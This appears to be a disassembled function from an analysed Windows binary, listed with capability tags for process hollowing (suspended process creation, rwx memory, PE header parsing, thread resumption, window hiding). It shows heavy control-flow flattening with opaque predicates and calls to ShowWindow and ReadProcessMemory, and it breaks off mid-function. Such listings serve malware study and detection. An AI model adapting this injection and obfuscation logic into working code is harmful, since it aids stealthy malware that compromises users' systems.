Function at 0x10002b20
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x110
mov eax, dword [0x1003a600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x112], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x111], al
mov dword [ebp - 0x118], 0x3c3ee9aa
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x11c], eax
sub eax, 0x800557f5
je 0x10007b76
jmp 0x10002b93
mov eax, dword [ebp - 0x11c]
sub eax, 0x800e7bbe
je 0x1000775a
jmp 0x10002ba9
mov eax, dword [ebp - 0x11c]
sub eax, 0x8038911c
je 0x10008220
jmp 0x10002bbf
mov eax, dword [ebp - 0x11c]
sub eax, 0x81ae2908
je 0x100078a7
jmp 0x10002bd5
mov eax, dword [ebp - 0x11c]
sub eax, 0x81dca9a2
je 0x1000a8e6
jmp 0x10002beb
mov eax, dword [ebp - 0x11c]
sub eax, 0x82312b06
je 0x1000851e
jmp 0x10002c01
mov eax, dword [ebp - 0x11c]
sub eax, 0x82e78232
je 0x10006485
jmp 0x10002c17
mov eax, dword [ebp - 0x11c]
sub eax, 0x8537b725
je 0x1000511f
jmp 0x10002c2d
mov eax, dword [ebp - 0x11c]
sub eax, 0x85d03fb9
je 0x100061e5
jmp 0x10002c43
mov eax, dword [ebp - 0x11c]
sub eax, 0x86c1d047
je 0x100086c7
jmp 0x10002c59
mov eax, dword [ebp - 0x11c]
sub eax, 0x8768ecba
je 0x100097ed
jmp 0x10002c6f
mov eax, dword [ebp - 0x11c]
sub eax, 0x882500d8
je 0x10007280
jmp 0x10002c85
mov eax, dword [ebp - 0x11c]
sub eax, 0x88abebdb
je 0x100055f9
jmp 0x10002c9b
mov eax, dword [ebp - 0x11c]
sub eax, 0x88b276c9
je 0x1000a1f4
jmp 0x10002cb1
mov eax, dword [ebp - 0x11c]
sub eax, 0x88fffdb9
je 0x10006f7d
jmp 0x10002cc7
mov eax, dword [ebp - 0x11c]
sub eax, 0x890f6031
je 0x10007392
jmp 0x10002cdd
mov eax, dword [ebp - 0x11c]
sub eax, 0x8916442e
je 0x1000561a
jmp 0x10002cf3
mov eax, dword [ebp - 0x11c]
sub eax, 0x8977db90
je 0x1000a0a2
jmp 0x10002d09
mov eax, dword [ebp - 0x11c]
sub eax, 0x89b13568
je 0x10007a6a
jmp 0x10002d1f
mov eax, dword [ebp - 0x11c]
sub eax, 0x8b37dc73
je 0x1000a5ce
jmp 0x10002d35
mov eax, dword [ebp - 0x11c]
sub eax, 0x8b479eee
je 0x1000a57d
jmp 0x10002d4b
mov eax, dword [ebp - 0x11c]
sub eax, 0x8d81bf77
je 0x1000a703
jmp 0x10002d61
mov eax, dword [ebp - 0x11c]
sub eax, 0x8db34c03
je 0x100052a3
jmp 0x10002d77
mov eax, dword [ebp - 0x11c]
sub eax, 0x8ededb83
je 0x1000a189
jmp 0x10002d8d
mov eax, dword [ebp - 0x11c]
sub eax, 0x8f555752
je 0x10009b4d
jmp 0x10002da3
mov eax, dword [ebp - 0x11c]
sub eax, 0x8f9ee242
je 0x10005ce6
jmp 0x10002db9
mov eax, dword [ebp - 0x11c]
sub eax, 0x900d7bb4
je 0x1000a985
jmp 0x10002dcf
mov eax, dword [ebp - 0x11c]
sub eax, 0x906ab25d
je 0x1000843f
jmp 0x10002de5
mov eax, dword [ebp - 0x11c]
sub eax, 0x90fde523
je 0x1000790d
jmp 0x10002dfb
mov eax, dword [ebp - 0x11c]
sub eax, 0x930a9bc1
je 0x10007f01
jmp 0x10002e11
mov eax, dword [ebp - 0x11c]
sub eax, 0x9616b73a
je 0x1000a485
jmp 0x10002e27
mov eax, dword [ebp - 0x11c]
sub eax, 0x965442f7
je 0x10006aca
jmp 0x10002e3d
mov eax, dword [ebp - 0x11c]
sub eax, 0x96f2ea0e
je 0x10006b09
jmp 0x10002e53
mov eax, dword [ebp - 0x11c]
sub eax, 0x9749f80a
je 0x100063b7
jmp 0x10002e69
mov eax, dword [ebp - 0x11c]
sub eax, 0x992206bd
je 0x10006c8e
jmp 0x10002e7f
mov eax, dword [ebp - 0x11c]
sub eax, 0x99e15236
je 0x1000525a
jmp 0x10002e95
mov eax, dword [ebp - 0x11c]
sub eax, 0x99ea52da
je 0x100066f1
jmp 0x10002eab
mov eax, dword [ebp - 0x11c]
sub eax, 0x9a5f8b37
je 0x100056fe
jmp 0x10002ec1
mov eax, dword [ebp - 0x11c]
sub eax, 0x9b269ad8
je 0x10005acb
jmp 0x10002ed7
mov eax, dword [ebp - 0x11c]
sub eax, 0x9b5fc485
je 0x1000796c
jmp 0x10002eed
mov eax, dword [ebp - 0x11c]
sub eax, 0x9bc90c02
je 0x10007c2a
jmp 0x10002f03
mov eax, dword [ebp - 0x11c]
sub eax, 0x9d175f4d
je 0x10007f3f
jmp 0x10002f19
mov eax, dword [ebp - 0x11c]
sub eax, 0x9da2ab84
je 0x10006122
jmp 0x10002f2f
mov eax, dword [ebp - 0x11c]
sub eax, 0x9ddd8103
je 0x10008348
jmp 0x10002f45
mov eax, dword [ebp - 0x11c]
sub eax, 0x9e411d65
je 0x100062cf
jmp 0x10002f5b
mov eax, dword [ebp - 0x11c]
sub eax, 0x9e9b7395
je 0x10005aaa
jmp 0x10002f71
mov eax, dword [ebp - 0x11c]
sub eax, 0x9f2f2e26
je 0x1000a964
jmp 0x10002f87
mov eax, dword [ebp - 0x11c]
sub eax, 0xa11682f8
je 0x10007608
jmp 0x10002f9d
mov eax, dword [ebp - 0x11c]
sub eax, 0xa15bd2ba
je 0x10005819
jmp 0x10002fb3
mov eax, dword [ebp - 0x11c]
sub eax, 0xa27520f9
je 0x1000a15c
jmp 0x10002fc9
mov eax, dword [ebp - 0x11c]
sub eax, 0xa2ae0dbf
je 0x1000910e
jmp 0x10002fdf
mov eax, dword [ebp - 0x11c]
sub eax, 0xa2b55a5c
je 0x10006611
jmp 0x10002ff5
mov eax, dword [ebp - 0x11c]
sub eax, 0xa2b93f31
je 0x10009ac9
jmp 0x1000300b
mov eax, dword [ebp - 0x11c]
sub eax, 0xa311b6a9
je 0x100067d3
jmp 0x10003021
mov eax, dword [ebp - 0x11c]
sub eax, 0xa3ca6485
je 0x10008269
jmp 0x10003037
mov eax, dword [ebp - 0x11c]
sub eax, 0xa3e87fac
je 0x10005e47
jmp 0x1000304d
mov eax, dword [ebp - 0x11c]
sub eax, 0xa45bb59f
je 0x1000adf5
jmp 0x10003063
mov eax, dword [ebp - 0x11c]
sub eax, 0xa49bcb7d
je 0x10009584
jmp 0x10003079
mov eax, dword [ebp - 0x11c]
sub eax, 0xa4c62a5d
je 0x10008cab
jmp 0x1000308f
mov eax, dword [ebp - 0x11c]
sub eax, 0xa51f1853
je 0x1000ac3d
jmp 0x100030a5
mov eax, dword [ebp - 0x11c]
sub eax, 0xa52ead93
je 0x10005b2d
jmp 0x100030bb
mov eax, dword [ebp - 0x11c]
sub eax, 0xa534728c
je 0x10009c87
jmp 0x100030d1
mov eax, dword [ebp - 0x11c]
sub eax, 0xa63bd69e
je 0x10007a79
jmp 0x100030e7
mov eax, dword [ebp - 0x11c]
sub eax, 0xa6896252
je 0x10008fd8
jmp 0x100030fd
mov eax, dword [ebp - 0x11c]
sub eax, 0xa7823fb1
je 0x10007001
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0xa4], eax
push eax
mov eax, esp
mov dword [ebp - 0xa0], eax
push eax
mov eax, esp
mov dword [ebp - 0x9c], eax
push eax
mov eax, esp
mov dword [ebp - 0x98], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100010b0
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.100010b0
add esp, 4
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x100183ac]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x100183a8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x100183a4]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0xa8034909
mov ecx, 0x9f95f55
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x356e4bdb
mov ecx, 0x8db34c03
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x10018234]
movss dword [eax], xmm0
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
sub edx, 0x8d1f4be5
sub edx, 1
add edx, 0x8d1f4be5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x356e4bdb
mov ecx, 0x382b8001
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x1001839c]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0x8916442e
jmp 0x1000af70
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x10018398]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0xb2662712
jmp 0x1000af70
mov dl, 1
mov eax, 0xcf5d8cde
mov ecx, 0x9160df1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov dword [ebp - 0x118], 0x9799536
jmp 0x1000af70
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x10018380]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0x9b269ad8
jmp 0x1000af70
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x1001837c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x10018378]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0xcfefd5cd
mov ecx, 0xe05c9a18
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
add edx, 0xcaeb38f3
sub edx, 1
sub edx, 0xcaeb38f3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7d4508da
mov ecx, 0xc4634ca3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov dword [ebp - 0x118], 0xd91ae889
jmp 0x1000af70
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x10018214]
movss dword [eax], xmm0
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x64f76f59
mov ecx, 0x6c081d62
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
add edx, 0x79de9538
sub edx, 1
sub edx, 0x79de9538
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x661a3d33
mov ecx, 0xf609708f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov dl, 1
mov eax, 0x290a264c
mov ecx, 0xb99d4126
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov dword [ebp - 0x118], 0x290a264c
jmp 0x1000af70
mov dword [ebp - 0x118], 0x7df946ce
jmp 0x1000af70
mov dl, 1
mov eax, 0xae0db27f
mov ecx, 0x554c2f1b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x100181f0]
movss dword [eax], xmm0
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5fbb4589
mov ecx, 0xd7d901a8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x100181ec]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x100181e8]
movss dword [eax], xmm0
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf950c142
mov ecx, 0xe7a7b4b5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov dword [ebp - 0x118], 0x1ce667f0
jmp 0x1000af70
mov dword [ebp - 0x118], 0xd4014cc0
jmp 0x1000af70
mov dl, 1
mov eax, 0x311e3815
mov ecx, 0x52afb88c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xaa905d4a
mov ecx, 0x27def09b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x100181d0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x100181cc]
movss dword [eax], xmm0
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
sub edx, 0x6cda26ff
sub edx, 1
add edx, 0x6cda26ff
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf10174fb
mov ecx, 0x5fa40772
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4ee33a23
mov ecx, 0x7b6abf55
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
add edx, 0x4aebc940
sub edx, 1
sub edx, 0x4aebc940
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x69570d07
mov ecx, 0x5e8df7c2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100182e8]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0x2239e0a4
jmp 0x1000af70
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100181c0]
movss dword [eax], xmm0
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb8b37d1b
mov ecx, 0xe32976e6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100182d4]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0xd2dddfb0
jmp 0x1000af70
mov dl, 1
mov eax, 0x9b5fc485
mov ecx, 0x3ce40b41
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
add edx, 0x8035cc7d
sub edx, 1
sub edx, 0x8035cc7d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x51d76576
mov ecx, 0x15b6c362
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov dword [ebp - 0x118], 0xa63bd69e
jmp 0x1000af70
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
sub edx, 0x60d7db9e
sub edx, 1
add edx, 0x60d7db9e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x47c8977a
mov ecx, 0x3196577d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
add edx, 0xa1d4770e
sub edx, 1
sub edx, 0xa1d4770e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2d896812
mov ecx, 0x6de5a6d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov dword [ebp - 0x118], 0xe5e20062
jmp 0x1000af70
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100182a8]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0xbf456304
jmp 0x1000af70
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
sub edx, 0xc59cb64c
sub edx, 1
add edx, 0xc59cb64c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7a86a73b
mov ecx, 0x2059f66
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcb5a2b6c
mov ecx, 0xa3ca6485
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100181a0]
movss dword [eax], xmm0
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcb5a2b6c
mov ecx, 0x258fe263
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov dword [ebp - 0x118], 0x62fb6334
jmp 0x1000af70
mov dl, 1
mov eax, 0x52d5b4a2
mov ecx, 0x4457d874
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10018274]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0x1efa8af2
jmp 0x1000af70
mov dl, 1
mov eax, 0xacf8110c
mov ecx, 0xccb9845d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov dword [ebp - 0x118], 0xaddbc39d
jmp 0x1000af70
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.100020e0
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xd0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
add eax, 0x28
add eax, 4
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x118], 0xc61c87fa
jmp 0x1000af70
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x38
mov dword [ebp - 0x78], eax
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
add edx, 0x947eb7de
sub edx, 1
sub edx, 0x947eb7de
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x68e92e27
mov ecx, 0xf59c6df4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov eax, dword [ebp - 0x68]
mov eax, dword [eax + 0x20]
mov ecx, dword [ebp - 0xc4]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xb4]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10002840
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0xb0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xc4]
mov esi, dword [eax]
mov eax, dword [ebp - 0xb4]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0x71a968b7
mov ecx, 0x242107f5
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc4]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xb4]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb4]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x118], 0x2693752e
jmp 0x1000af70
mov eax, dword [ebp - 0x4c]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x45], al
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
sub edx, 0xa395ec54
sub edx, 1
add edx, 0xa395ec54
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa45bb59f
mov ecx, 0x8f555752
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov dl, byte [ebp - 0x45]
mov eax, 0x2d80642
mov ecx, 0xde5a7f55
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov dl, byte [ebp - 0x39]
mov eax, 0x5f08ac06
mov ecx, 0x15927f70
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x30]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0xdb7b9154
mov ecx, 0x7e0412d9
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov dword [ebp - 0x118], 0xdb7b9154
jmp 0x1000af70
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x118], 0x8d3b62
jmp 0x1000af70
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
add edx, 0x884e356f
sub edx, 1
sub edx, 0x884e356f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5d00086e
mov ecx, 0x26cfb0ec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaa3134fb
mov ecx, 0xbb3618f3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000af70
mov dword [ebp - 0x118], 0xd79c5ae9
jmp 0x1000af70
mov dword [ebp - 0x118], 0xc3b5fc5f
jmp 0x1000af70
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x10018210]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0x308e4b92
